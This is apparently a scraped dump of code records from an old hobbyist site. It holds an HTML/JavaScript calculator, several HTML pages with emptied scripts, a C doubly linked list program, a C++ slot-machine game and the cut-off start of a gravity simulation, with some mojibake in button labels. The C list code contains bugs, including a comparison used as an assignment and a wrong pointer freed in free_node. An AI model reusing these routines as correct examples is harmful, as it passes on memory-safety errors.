VALUE=\" MR \" onclick=\"mem(-1);\"></TD>\n <TD BGCOLOR=#800080><INPUT TYPE=BUTTON VALUE=\" MC \" onclick=\"mem(0);\"></TD>\n </TR>\n <TR>\n <TD BGCOLOR=#000080><INPUT TYPE=BUTTON VALUE=\" E \" onclick=\"wipe()+addChar(display,Math.E)+addChar(stack,Math.E);\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" Exp \" onclick=\"addChar(display.value)+exp();\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" Sqrt \" onclick=\"addChar(stack)+sqrt();\"></TD>\n <TD BGCOLOR=#008000><INPUT TYPE=BUTTON VALUE=\" ├╖ \" onclick=\"addChar(stack,'/')+wipe()+addChar(display,'/');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 7 \" onclick=\"addChar(display,'7')+addChar(stack,'7');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 8 \" onclick=\"addChar(display,'8')+addChar(stack,'8');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 9 \" onclick=\"addChar(display,'9')+addChar(stack,'9');\"></TD>\n </TR>\n <TR>\n <TD BGCOLOR=#000080><INPUT TYPE=BUTTON VALUE=\"Sqrt┬╜\" onclick=\"wipe()+addChar(display,Math.SQRT1_2)+addChar(stack,Math.SQRT1_2);\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" Log \" onclick=\"addChar(display.value)+log();\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" Abs \" onclick=\"addChar(display.value)+abs();\"></TD>\n <TD BGCOLOR=#008000><INPUT TYPE=BUTTON VALUE=\" ├ù \" onclick=\"addChar(stack,'*')+wipe()+addChar(display,'*');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 4 \" onclick=\"addChar(display,'4')+addChar(stack,'4');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 5 \" onclick=\"addChar(display,'5')+addChar(stack,'5');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 6 \" onclick=\"addChar(display,'6')+addChar(stack,'6');\"></TD>\n </TR>\n <TR>\n <TD BGCOLOR=#000080><INPUT TYPE=BUTTON VALUE=\" Ln2 \" onclick=\"wipe()+addChar(display,Math.LN2)+addChar(stack,Math.LN2);\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\"ATan\" onclick=\"addChar(display.value)+atan();\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" Tan \" onclick=\"addChar(display.value)+tan();\"></TD>\n <TD BGCOLOR=#008000><INPUT TYPE=BUTTON VALUE=\" - \" onclick=\"addChar(stack,'-')+wipe()+addChar(display,'-');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 1 \" onclick=\"addChar(display,'1')+addChar(stack,'1');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 2 \" onclick=\"addChar(display,'2')+addChar(stack,'2');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 3 \" onclick=\"addChar(display,'3')+addChar(stack,'3');\"></TD>\n </TR>\n <TR>\n <TD BGCOLOR=#000080><INPUT TYPE=BUTTON VALUE=\" Ln10 \" onclick=\"wipe()+addChar(display,Math.LN10)+addChar(stack,Math.LN10);\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\"ACos\" onclick=\"addChar(display.value)+acos();\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" Cos \" onclick=\"addChar(display.value)+cos();\"></TD>\n <TD BGCOLOR=#008000><INPUT TYPE=BUTTON VALUE=\" + \" onclick=\"addChar(stack,'+')+wipe()+addChar(display,'+');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" ┬▒ \" onclick=\"changeSign(display)+changeSign(stack);\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" . \" onclick=\"addChar(display,'.')+addChar(stack,'.');\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" 0 \" onclick=\"addChar(display,'0')+addChar(stack,'0');\"></TD>\n </TR>\n <TR>\n <TD BGCOLOR=#000080><INPUT TYPE=BUTTON VALUE=\" Pi \" onclick=\"wipe()+addChar(display,Math.PI)+addChar(stack,Math.PI);\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" ASin \" onclick=\"addChar(display.value)+asin();\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" Sin \" onclick=\"addChar(display.value)+sin()+swipe();\"></TD>\n <TD BGCOLOR=#008000><INPUT TYPE=BUTTON VALUE=\" <- \" onclick=\"deleteChar(display)+deleteChar(stack);\"></TD>\n <TD BGCOLOR=#FFA500 COLSPAN='2'><INPUT TYPE=BUTTON VALUE=\" = \" onclick=\"testFirst()+swipe();\"></TD>\n <TD BGCOLOR=#FFA500><INPUT TYPE=BUTTON VALUE=\" C \" onclick=\"reset();\"></TD>\n </TR>\n</TABLE>\n</FORM>\n</CENTER>\n</BODY>\n</HTML>\n"},{"WorldId":2,"id":1757,"LineNumber":1,"line":"<HTML><HEAD><TITLE>Slab Scroller Javascript © Mike McGrath UK 2000</TITLE>\n</HEAD>\n<BODY BGCOLOR=\"silver\">\n\n\n\n\n\n<SCRIPT TYPE=\"text/javascript\">\n \n\n\n</SCRIPT>\n</BODY></HTML>\n"},{"WorldId":2,"id":1768,"LineNumber":1,"line":"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML>\n<HEAD>\n<TITLE>Browser Info</TITLE>\n\n\n<SCRIPT LANGUAGE=\"javascript\">\n\n\n\n</SCRIPT>\n</HEAD>\n\n<BODY BGCOLOR=\"brown\" onLoad=\"GoBrowser(this.document.f); GoDate(); GoClock24();\">\n\n<CENTER>\n<FORM NAME=\"f\">\n <TABLE BORDER=1 BGCOLOR=#C0C0C0>\n <TH COLSPAN=2 ALIGN=CENTER>Browser Info</TH>\n <TR>\n <TD>Date : </TD>\n <TD><INPUT NAME=\"date_box\" SIZE=40></TD></TR>\n <TR>\n <TD>Time : </TD>\n <TD><INPUT NAME=\"time_box\" SIZE=40></TD></TR>\n <TR>\n <TD>Browser : </TD>\n <TD><INPUT NAME=\"browser_box\" SIZE=40></TD></TR>\n <TR>\n <TD>Version : </TD>\n <TD><INPUT NAME=\"version_box\" SIZE=40></TD></TR>\n <TR>\n <TD>Java : </TD>\n <TD><INPUT NAME=\"javastatus_box\" SIZE=40></TD></TR>\n <TR>\n <TD>Platform : </TD>\n <TD><INPUT NAME=\"opsys_box\" SIZE=40></TD></TR>\n <TR>\n <TD>Resolution : </TD>\n <TD><INPUT NAME=\"res_box\" SIZE=40></TD>\n </TR>\n </TABLE>\n</FORM>\n</CENTER>\n</BODY>\n</HTML>"},{"WorldId":2,"id":1783,"LineNumber":1,"line":"\n<HTML>\n<HEAD>\n<TITLE>Popup Link Menu © Mike McGrath 2000</TITLE>\n\n<STYLE TYPE=\"text/css\">\n\n</STYLE>\n</HEAD>\n<BODY BGCOLOR=\"silver\">\nRun your Mouse over the Lilguy for a Link Menu ...\n\n<DIV CLASS=\"lilguydiv\">\n<A HREF=\"javascript:\\\\\" ONMOUSEOVER=\"menu(1)\">\n<IMG BORDER=\"0\" SRC=\"images/lilguy2.gif\" WIDTH=\"30\" HEIGHT=\"21\"></A>\n</DIV>\n<DIV ID=\"linkmenu\" CLASS=\"menudiv\">\n<CENTER>Select A Link</CENTER>\n<UL>\n<A HREF=\"javascript:fakelocation(1)\"><LI>Link One</LI></A>\n<A HREF=\"javascript:fakelocation(2)\"><LI>Link Two</LI></A>\n<A HREF=\"javascript:fakelocation(3)\"><LI>Link Three</LI></A>\n</UL>\n</DIV>\n<SCRIPT TYPE=\"text/javascript\">\n \n\n\n</SCRIPT>\n</BODY>\n</HTML>"},{"WorldId":2,"id":1763,"LineNumber":1,"line":"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML>\n<HEAD>\n<TITLE>Glowing Text Javascript © Mike McGrath UK 1999</TITLE>\n<SCRIPT LANGUAGE=\"javascript\" TYPE=\"text/javascript\">\n\n\n\n</SCRIPT>\n</HEAD>\n<BODY BGCOLOR=\"black\">\n</BODY>\n</HTML>"},{"WorldId":2,"id":1767,"LineNumber":1,"line":"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML>\n<HEAD>\n<TITLE>Rollovers</TITLE>\n<SCRIPT TYPE=\"text/javascript\">\n\n\n\n</SCRIPT>\n</HEAD>\n<BODY>\n \n<A HREF=\"javascript://\"\n\tonmouseover=\"a.src='images/anim.gif'; b.src='images/anim.gif';\" \n\tonmouseout= \"a.src='images/clik.gif'; b.src='images/clik.gif';\">\n<IMG BORDER=0 NAME=\"a\" SRC=\"images/clik.gif\"></A>\n\nRun your mouse over either image to change both images. \nThe swap image has been preloaded to be readily available when needed. \nRight-click and select View Source for more details.\n\n<A HREF=\"javascript://\"\n\tonmouseover=\"a.src='images/anim.gif'; b.src='images/anim.gif';\" \n\tonmouseout= \"a.src='images/clik.gif'; b.src='images/clik.gif';\">\n<IMG BORDER=0 NAME=\"b\" SRC=\"images/clik.gif\"></A>\n</BODY>\n</HTML>"},{"WorldId":7,"id":235,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":274,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":246,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":6,"LineNumber":1,"line":"//Jeff Letendre\t\t\t\t\n#include <stdlib.h>\t\t\t\t\t\t//for malloc()\n#include <stdio.h>\t\t\t\t\t\t//for printf(), scanf(), fflush()\nvoid main (void);\t\t\t\t \t\t///////////////////////////////////////\nstruct node * merge (struct node *, struct node *);\t \t///////////////////////////////////////\nstruct node * reverse (struct node **);\t\t\t\t///////////////////////////////////////\nstruct node * createList (void);\t\t\t\t///////////////////////////////////////\nstruct node * subtract (struct node *, struct node *);\t \t///////////////////////////////////////\nstruct node * addSort(int, struct node **);\t\t\t///////////////////////////////////////\nstruct node * getMemory(void);\t\t\t\t\t///////////////////////////////////////\nstruct node * InsertAfter (struct node **);\t\t\t////////////// prototype //////////////\t\t\nstruct node * intersection (struct node *, struct node *); \t////////////// section ////////////// \nstruct node * search (int, struct node *);\t\t\t///////////////////////////////////////\nstruct node * bubbleSort (struct node *); \t///////////////////////////////////////\nvoid PrintList (struct node *);\t\t\t\t\t///////////////////////////////////////\nvoid deleteNode (struct node **);\t\t\t\t///////////////////////////////////////\nvoid free_node (struct node **);\t\t\t\t///////////////////////////////////////\nint palindrome (struct node *plist);\t\t\t\t///////////////////////////////////////\nvoid errorExit (char *);\t\t\t\t\t///////////////////////////////////////\nstruct node\t\t\t\t\t\t\t//structure template\n {\n struct node *previous;\t\t\t\t\t//pointer to previous node in list\n int data;\t\t\t\t\t\t\t//integer list data \n struct node *next;\t\t\t\t\t\t//pointer to next node in the list\n };\n////////////END OF HEADER SECTION////////////////\n\nvoid main (void)\n {\n struct node *plist = NULL;\t\t\t\t \t//pointer for first list\n struct node *plist2 = NULL;\t\t\t\t\t//pointer for second list \n struct node *pnode = NULL;\t\t\t \t\t//pointer for node\n struct node *tempList = NULL; \t\t//misc. pointer for returned lists \n int option = 0, choice = 0; \t\t//variables for user input\n\t \n while (true)\t\t\t\t\t\t\t//main program loop set to infinite loop\n {\n printf(\"\\n\\nPlease make a selection:\\n\\n\");\t\t//prompt for input\n printf(\" 0 = Add in sorted order\\n\");\n printf(\" 1 = Create a list\\n\");\n printf(\" 2 = Seek and destroy\\n\");\n printf(\" 3 = Exit\\n\");\n printf(\" 4 = Search\\n\");\n printf(\" 5 = Intersection\\n\");\n printf(\" 6 = Print\\n\");\n printf(\" 7 = Merge two lists\\n\");\n printf(\" 8 = Create another list\\n\");\n printf(\" 9 = Palindrome?\\n\");\n printf(\"10 = Reverse list \\n\");\n printf(\"11 = Subtract two lists\\n\");\n printf(\"12 = Insert after\\n\");\n fflush(stdin);\t\t\t\t\t\t//clear input buffer\n scanf(\"%d\", &option); \t\t//scan new option\n switch(option)\t\t\n {\t\n case 0:\n\t {\n\t printf(\"Enter an integer to be added to the list or -99999\\n\");\n scanf(\"%d\", &choice);\n\t while (choice != -99999)\t\t\t \t//call addSort\n {\n\t plist = addSort(choice, &plist);\n\t printf(\"Enter another integer or -99999 to quit\\n\");\n\t fflush(stdin);\n\t scanf (\"%d\", &choice);\n\t }\n break;\n } \n case 1:\n \t {\n plist = createList();\n\t break;\n \t }\n case 2:\n\t {\n\t deleteNode(&plist);\t//no return modifying original list\n \t break;\n\t }\n case 3:\n \t {\t\t\t \n\t exit(1);\n \t break;\n \t }\n case 4:\n\t {\n\t printf(\"Enter a value to search the list for:\\n\");\n\t scanf(\"%d\", &choice);\n tempList = search(choice, plist);\n if (tempList == NULL)\n {\n printf(\"The value %d was not found in the list\\n\", choice);\n break;\n }\n\t else \n {\n if(tempList->previous == NULL && tempList->next == NULL)\n printf(\"%d is the only value in the list\\n\", tempList->data);\n else if(tempList->previous == NULL && tempList->next != NULL)\n printf(\"%d is the first value in the list followed by %d\\n\",\n tempList->data, (tempList->next)->data);\n else if(tempList->previous != NULL && tempList->next == NULL)\n printf(\"%d comes after %d and is the last value in the list\\n\",\n tempList->data, (tempList->previous)->data);\n else if(tempList->previous != NULL && tempList->next != NULL)\n printf(\"%d comes after %d and before %dlist\\n\", tempList->data,\n (tempList->previous)->data, (tempList->next)->data);\n break;\n }\n\t } \n case 5:\n\t {\n tempList = intersection (plist, plist2);\n if(tempList != NULL)\n {\n tempList = bubbleSort(tempList);\n PrintList(tempList);\n }\n\t break;\n\t }\n case 6:\n\t {\n\t PrintList(plist);\n\t break;\n\t }\n case 7:\n {\n \t tempList = merge (plist, plist2);\n PrintList(tempList);\n\t break;\n\t }\n case 8:\n\t {\n\t plist2 = createList();\n\t break;\n\t }\n case 9:\n\t {\n\t if(palindrome(plist))\t\t\t\t //if palindrome returns 1\n\t {\n\t PrintList(plist);\n\t printf(\" it is a palindrome.\\n\");\n\t }\n\t else\n {\n\t PrintList(plist);\t\t\t\t //else list is not a palindrome\n\t printf(\" it is not a palindrome.\\n\");\n\t }\n\t break;\n\t }\n case 10:\n\t {\n PrintList(plist); //print list before reversing\n printf(\"\\n\\nReversing...\\n\\n\");\n\t plist = reverse(&plist);\t\t\t //call to reverse func \n PrintList(plist); //print reversed list \n\t break;\n\t }\n case 11:\n\t {\n\t printf(\"How shall I subtract your lists?\\n\"); \n printf(\"1 = First list entered minus second list entered or\\n\");\n printf(\"2 = Second list entered minus first list entered?\\n\");\n scanf(\"%d\", &choice);\n\t if (choice == 1)\n {\n tempList = subtract (plist, plist2);\n }\n else if (choice == 2)\n {\n tempList = subtract (plist2, plist);\n }\n else\n {\n printf(\"Incorrect choice escaping to main menu\\n\");\n break;\n }\n PrintList(tempList);\n break;\n\t }\n case 12:\n\t {\n\t plist = InsertAfter(&plist);\t//Insert After has capability to\n\t break; //start a new list if plist is empty\n\t }\n default:\n\t {\n\t printf(\"Your only options are zero (0) through eleven (11)\\n\");\n\t printf(\"Enter new option\\n\\n\");\n\t break;\n\t } \n } //end switch \n } //end while\n }//////////////end main()/////////////////\nstruct node * addSort(int newVal, struct node **plist)\n {\n struct node *newNode;\n struct node *ptemp;\n ptemp = *plist;\n newNode = getMemory();\t\t\t//call getMemory to allocate and test\n newNode->data = newVal;\t\t\t//copy int into struct\n while(ptemp != NULL && ptemp->data <= newNode->data && ptemp->next != NULL)\n ptemp = ptemp->next;\n if(ptemp == NULL)\t\t\t\t//if list is empty\n {\n newNode->next = NULL;\t\t\t//set next to NULL\n newNode->previous = NULL;\t\t \t//set previous to NULL\n *plist = newNode;\t\t\t\t//set list pointer to newNode\n }\n else if(ptemp->previous == NULL && ptemp->data > newNode->data)//at begining of list\n {\n newNode->previous = ptemp->previous;\n newNode->next = ptemp;\n ptemp->previous = newNode;\n *plist = newNode;\n }\n else if(ptemp->next == NULL)\t\t \t//at end of list\n {\n newNode->previous = ptemp;\n newNode->next = ptemp->next;\n ptemp->next = newNode;\n }\n else if(ptemp->data > newNode->data)\t\t//inbetween begining and end of list \n {\n newNode->next = ptemp;\n newNode->previous = ptemp->previous;\n (ptemp->previous)->next = newNode;\n ptemp->previous = newNode;\n } \n return(*plist);\t\t\t\t//pass back list pointer\n }\t////////////end add sort//////////////////\n\nstruct node * bubbleSort (struct node *listHead)//sorts a doubly linked list of ints\n { //returns pointer to sorted list\n struct node * listp1 = NULL;\n struct node * listp2 = NULL;\n listp1 = listHead; //assign pointer to list head\n listp2 = listHead->next; //assign pointer to next node\n while(listp1 != NULL && listp2 != NULL)\n {\n if(listp1->data <= listp2->data) //if in ascending order w/ next node\n {\n listp2 = listp2->next; //skip to next 2 nodes\n listp1 = listp1->next;\n }\n else //else swap order\n {\n listp1->next = listp2->next;\n listp2->previous = listp1->previous;\n if(listp1->previous != NULL) //if not the first node\n (listp1->previous)->next = listp2; //point previous node's next field to listp2\n listp1->previous = listp2;\n if(listp2->next != NULL) //if there is a next node\n (listp2->next)->previous = listp1; //point its previous field to listp1\n listp2->next = listp1;\n if(listp1 == listHead) //reset pointers to begining of\n listHead = listp2;\n listp1 = listHead;\n listp2 = listp1->next;\n }\n } //end while\n return listHead;\n }///////////////////end bubbleSort///////////////////////\n\nstruct node * createList(void)\n {\n struct node * plist = NULL;\t\t\t//pointer for new list\n struct node * temp = NULL;\t\t\t//pointer for inserting into list\n struct node * pinsert = NULL;\t\t//pointer for node allocation\n pinsert = getMemory();\t\t\t//call getMemory to allocate and test\n pinsert->next = NULL;\t\t\t//set node pointers to NULL\n pinsert->previous = NULL;\t\t\n plist = pinsert;\t\t\t\t//point list pointer to first node\n printf(\"Type a list of integers to be created\\n\");\n printf(\"Enter -99999 to finish input cycle\\n\");\n printf(\"Enter first integer for new list\\n\");\n scanf(\"%d\", &(pinsert->data));\t \t//scan new value\n while (pinsert->data != -99999)\n {\t\n temp = pinsert;\n pinsert = getMemory();\t\t\t//call getMemory to allocate and test\n pinsert->next = NULL;\t\t\t//copy NULL to new node's next field\n pinsert->previous = temp;\n temp->next = pinsert;\n printf(\"Enter an integer to be added after %d:\\n\", temp->data);\n scanf(\"%d\", &(pinsert->data));\t\t//scan into struct's data element value\n }\n fflush(stdin);\n free(pinsert);\t\t\t\t//free node which contains sentinel (-99999)\n temp->next = NULL; //assign last node's next pointer to NULL\n return (plist);\t\t\t\t//returns NULL if list contains sentinel only\n } //////////////End createList/////////////\n\nvoid deleteNode (struct node ** plist) //deletes node from list\n {\n struct node *temp = NULL;\n struct node *next1 = NULL;\n int delVal = 0;\n next1 = *plist;\t\t\t\t//set pointer to list head\n printf(\"Enter a value and I will delete all nodes\\n\");\n printf(\"whose data element matches your value\\n\");\n scanf(\"%d\", &delVal);\t\n while(next1 != NULL)\t\t\t\t//search through whole list\n {\n if(next1->data == delVal)\t\t\t//if delVal is found\n {\n\t if(next1->next == NULL && next1->previous == NULL)\t//if deleting only node\n\t {\t\t\t\t \t//deleting only node. Point plist to NULL\n\t free(next1);\t\t\t\t\n\t *plist = NULL;\n\t }\n\t else if(next1->previous == NULL)\t//if deleting first node\n {\n\t next1 = next1->next;\t\t//skip next1 to next node\n\t next1->previous = NULL;\t\t//since first node assign previous to NULL\n\t *plist = next1;\t\t\t//point the list pointer to the new first node\n free(temp);\t\t\t\t//free old first node\n \t temp = *plist;\t\t\t//point temp to list\n\t }\n else if(next1->next == NULL)\t\t//if deleting last node\n {\n\t temp->next = NULL;\t\t\t//set temp as last node\n\t free(next1);\t\t\t//free last node in list\n\t next1 = temp->next;\t\t\t//point next1 to NULL;\n\t } //end else\n else //else deleting a node between nodes\n {\n\t temp->next = next1->next;\t\t//shift pointer to skip over node to be deleted\n\t (next1->next)->previous = temp;\t//point previous element of 1st node after deleted node to temp\n\t free(next1);\t\t\t//free node\n\t next1 = temp->next;\t\t\t//point next1 to next node\n } //end else\n } //end if\n else\n {\n\t temp = next1;\n\t next1 = next1->next;\t\t\t//go through list\n\t } //end else\n } \t//end while\n }////////////////end deleteNode()///////////////\n\nvoid errorExit(char *string) //prints error & exits program\n {\n printf(\"%s\", &string);\n exit(1);\n }/////////////end errorExit()///////////////\n\nvoid free_node (struct node **pnode)\n {\n struct node *ptemp;\t\t\t\t//temp pointer used for swaping structure pointers\n if(pnode == NULL)\t\t\t\t//if list is empty\n errorExit(\"Attempt to delete from a NULL node pointer\");\n ptemp == (*pnode)->previous;\t\t \t//point to previous node\n ptemp->next = (*pnode)->next;\t\t//mend break in links\n free(pnode);\t\t\t\t\t//release memory back to OS\n }/////////end free_node/////////\n\nstruct node * getMemory(void) //allocates & tests return value \n {\n struct node * newPtr = NULL;\n if((newPtr = (struct node *) malloc(sizeof(struct node))) == NULL)\n { \t\t\t\t\t//if malloc returns a NULL pointer\n printf(\"ERROR! Unable to allocate memory - Abort\\n\");\n abort();\t\t\t\t\t//print error msg & abort function\n return(0);\t\t\t\t//make the compiler happy :>)\n } \n else \n return newPtr;\n } ///////////////////end getMemory///////////////\n\nstruct node * InsertAfter(struct node **plist)\n {\n struct node *tempNode;\n struct node *tempList;\n int afterVal = 0, choice = 0;\n tempList = *plist;\n tempNode = getMemory();\t\t\t//call getMemory to allocate and test\n if (tempList == NULL)\t\t\t//if list is empty\n {\n printf(\"Your list is empty. Should I create a list for you?\\n\");\n printf(\"1 = Yes\\n2 = No\\n\");\n scanf(\"%d\", &choice);\n if(choice == 1)\n {\n printf(\"Enter an integer\\n\"); //prompt and get input\n while(scanf(\"%d\", &choice) < 1) //testing scanf//reusing choice for data input\n printf(\"Incorrect value entered. Please try again:\\n\"); \n tempNode->data = choice; \n tempNode->previous = NULL; //set pointers\n tempNode->next = NULL;\n }\n else if(choice == 2) //if user doesn't want to create list\n tempNode = NULL; //set return pointer to NULL\n return tempNode; //return pointer\n } //end if\n else \t//list is not empty\n {\t\t\t\t\t\t\t\t\t\t\t \n printf(\"Enter an integer to insert the next node after\\n\");\n scanf(\"%d\", &afterVal);\t\t\t\t//assign new value to data field\n for(; tempList != NULL && tempList->data != afterVal; tempList = tempList->next);\n if (tempList == NULL)\n {\n printf(\"Error list value not found\\n\");\t//print error msg.\n return(tempList);\t\t\t\t//return NULL pointer\n\t }\n\t else if(tempList->data == afterVal)\n {\n\t printf(\"Enter an integer to be added after %d\\n\", tempList->data);\n\t scanf(\"%d\", &(tempNode->data));\t\t//get new data value\n\t tempNode->next = tempList->next;\t\t//assign new node's next field to plist's next field\n\t tempList->next = tempNode;\t\t \t//copy temp into plist's next field\n\t tempNode->previous = tempList;\t\t//copy plist to temp's previous field\n }\n\t } //end else\n\treturn (*plist);\n }///////////End InsertAfter////////////\n\nstruct node * intersection (struct node *opList1, struct node *opList2)\n {\n struct node *temp = NULL;\n struct node *intList = NULL;\n \n temp = getMemory();\n intList = temp; \t//list head pointer\n if(opList1 == NULL || opList2 == NULL)\n {\n printf(\"Empty list(s) - can not take intersection\\n\");\n temp = NULL;\n return temp;\n }\n while (opList1 != NULL)\n {\n if(search(opList1->data, opList2) != NULL) \n { \t//if data is not in list\n temp->previous = opList1->previous; \t//copy node into new list\n\t temp->data = opList1->data;\n\t temp->next = getMemory(); \t//allocate more memory\n (temp->next)->previous = temp; \t//point next nodes previous field to current node \n temp = temp->next; \t//point temp to next node\n opList1 = opList1->next;\n } //end if\n else\n opList1 = opList1->next;\n } //end while\n (temp->previous)->next = NULL; \t//terminate links w/ NULL\n free(temp); \t//release extra node back to OS\n return intList;\n } /////////////end intersection////////////////\n\nstruct node * merge (struct node *listA, struct node *listB)\n {\n struct node * listHead = NULL; \t\t//pointer to new merged list\n listHead = listA; \t\t//set pointers to begining of listA\n while (listA->next != NULL) \t\t//skip to end of listA\n listA = listA->next; \n listB->previous = listA; \t\t//append listA with listB\n listA->next = listB;\n listHead = bubbleSort(listHead); \t//sort new list\n return listHead; \t//return pointer to new merged sorted list\n } ////////////end merge//////////////////\n\nint palindrome (struct node *plist)\t\n {\n struct node *temp1;\n struct node *temp2;\n int i = 0, j = 0;\n \n temp1 = temp2 = plist;\t\t\t\t\t//set both temp vars to the list pointer\n for (i=0; temp2->next != NULL; temp2 = temp2->next, i++);\t//terminated for loop to move to end of list\n for(j = 0; j < i; j++)\n {\n if (temp1->data != temp2->data)\t\t\t//if values not equal\n \t return (0);\t\t\t\t\t\t\t\t\t\n\t else\n {\n\t temp1 = temp1->next;\t\t\t\t//increment temp1\n\t temp2 = temp2->previous;\t\t\t\t//decrement temp2\n }\n } //end for loop\n return(1);\n } ///////////end palendrome///////////////\n\nvoid PrintList (struct node *plist)\n {\n int i = 0;\n if(plist != NULL)\n {\n printf(\"Here is your list:\");\t\n while (plist != NULL)\n {\n\t if((i % 10) == 0)\t\t \t//CRLF first line then print ten values per line\n\t printf(\"\\n\");\n\t printf(\"--> %d \", plist->data);\n\t plist = plist->next;\t \t//point plist to next node\n\t i++;\n\t } //end while loop\n } //end else statement\n } ///////////////end PrintList()////////////////\n\nstruct node * reverse (struct node ** plist)\n {\n struct node *rList = NULL;\n struct node *ptemp = NULL;\n struct node *pt2 = NULL;\n \n ptemp = *plist;\n while(ptemp->next != NULL)\n {\n ptemp = ptemp->next;\t\t \t\t//point ptemp to end of list\n }\n rList = ptemp;\n *plist = rList;\t\t\t\t \t//set list pointer to end of list\n while(ptemp != NULL)\n {\n ptemp = ptemp->previous;\n rList->previous = rList->next;\n rList->next = ptemp;\n rList = ptemp;\n }\n return(*plist);\n } //////////end reverse////////////////////\n\nstruct node * search (int data, struct node *pstack)\t\n {\n struct node *ptemp;\n for (ptemp=pstack; ptemp != NULL && ptemp->data != data; ptemp = ptemp->next);\n return ptemp; \t//returns NULL if data not found\n }///////////end of search///////////////\n\nstruct node * subtract (struct node *opList1, struct node *opList2)\n {\n struct node *temp = NULL;\n struct node *subList = NULL;\n \n temp = getMemory();\n subList = temp; \t//list head pointer\n while (opList1 != NULL)\n {\n if(search(opList1->data, opList2) == NULL) \n { \t//if data is not in list\n temp->previous = opList1->previous; \t//copy node into new list\n\t temp->data = opList1->data;\n\t temp->next = getMemory(); \t//allocate more memory\n (temp->next)->previous = temp; \t//point next nodes previous field to current node \n temp = temp->next; \t//point temp to next node\n\t opList1 = opList1->next;\n } \t//end if\n else\n opList1 = opList1->next;\n } \t//end while\n (temp->previous)->next = NULL; \t//terminate links w/ NULL\n free(temp); \t//release extra node back to OS\n return subList;\n }//////////end subtract////////////////\n/////////////////////////////////// END PROGRAM /////////////////////////////\n"},{"WorldId":3,"id":169,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":15,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":23,"LineNumber":1,"line":"//Kevin Pre$a\n#include <iostream.h>\n#include <conio.h>\n#include <stdlib.h>\nint main(void)\n\t{\n\tclrscr();\n\tint t=100;\n\tint pull=1;\n\tdo{\n\t\tcout<<\"You have \"<<t<<\" tokens. Pull?? (1 to pull, 2 to not pull) \";\n\t\tcin>>pull;\n\t\tif (pull==1)\n\t\t\tt=t-1;\n\t\twhile (pull==1){\n\t\t\trandom;\n\t\t\tint a=random(3)+1;\n\t\t\trandom;\n\t\t\tint b=random(3)+1;\n\t\t\trandom;\n\t\t\tint c=random(3)+1;\n\t\t\trandom;\n\t\t\tint win=random(100)+1;\n\t\t\t\n\t\t\tcout<<\"[\"<<a<<\"]\"<<\" [\"<<b<<\"]\"<<\"]\"<<\" [\"<<c<<\"]\"<<endl;\n\t\t\tif ((a==b) && (b==c) && (a==c))\n\t\t\t\tcout<<\"You won: \"<<win<<\" tokens\";\n\t\t\telse\n {\n\t\t\t\tcout<<\"You lost: \"<<(int)(win/10)<<\" tokens\";\n t=t-(int)(win/10); //Note that the division is to prevent it\n \t\t\t\t\t\t\t //from working like a real slot machine\n //That is, the user loses all of his or her\n //money in a short amount of time.\n }\n\t\t\tif ((a==c) && (b==a) && (b==c))\n\t\t\t\tt=t+win;\n\t\t\tcout<<endl<<\"You have \"<<t<<\" tokens. Pull?? (1 to pull, 2 to not pull)? \";\n\t\t\tcin>>pull;\n\t\t\t\n\t\t\t}\n\t\t}while (pull==1);\n\t\tcout<<\"Thanks for playing slot machine. Press any key to quit Slot Machine\";\n\t\tgetch();\n\t\treturn(0);\n\t\t}\n"},{"WorldId":3,"id":32,"LineNumber":1,"line":"/************************************************************************\\\n|\t\n|\tShawn R. Hartsock Gravity.cpp\n|\tCS 381 Uses STL\n|\tProf: Hartman\n|\tdue: 12/16/1998\n|\n\t\tSimulates Gravity. See PreDefined Menu... My favorite is to set\n\t\tcollisions to absorbative and choose explode from the predef. menu\n|\t\tKeys : z,x,i,j,k,l,\n| Point: Drag to move particle points\n|\t\t\n\\************************************************************************/\n# include <vector>\n# include <iterator>\n# include <algorithm>\n# include <GL/glut.h>\n# include <math.h>\n# include <stdlib.h>\nusing namespace std;\ndouble M_PI = 3.14159265359; /*for Win32*/\n/****************************************************************\\\n\t\t\t\t\t\tPlatform Independant Code starts Here:\n\\****************************************************************/\n\n/****************************************************\\\n\tCustom classes:\n\\********************/\nstruct particle{\n\tdouble x,y, mass, ax,ay, radius;\n\tint 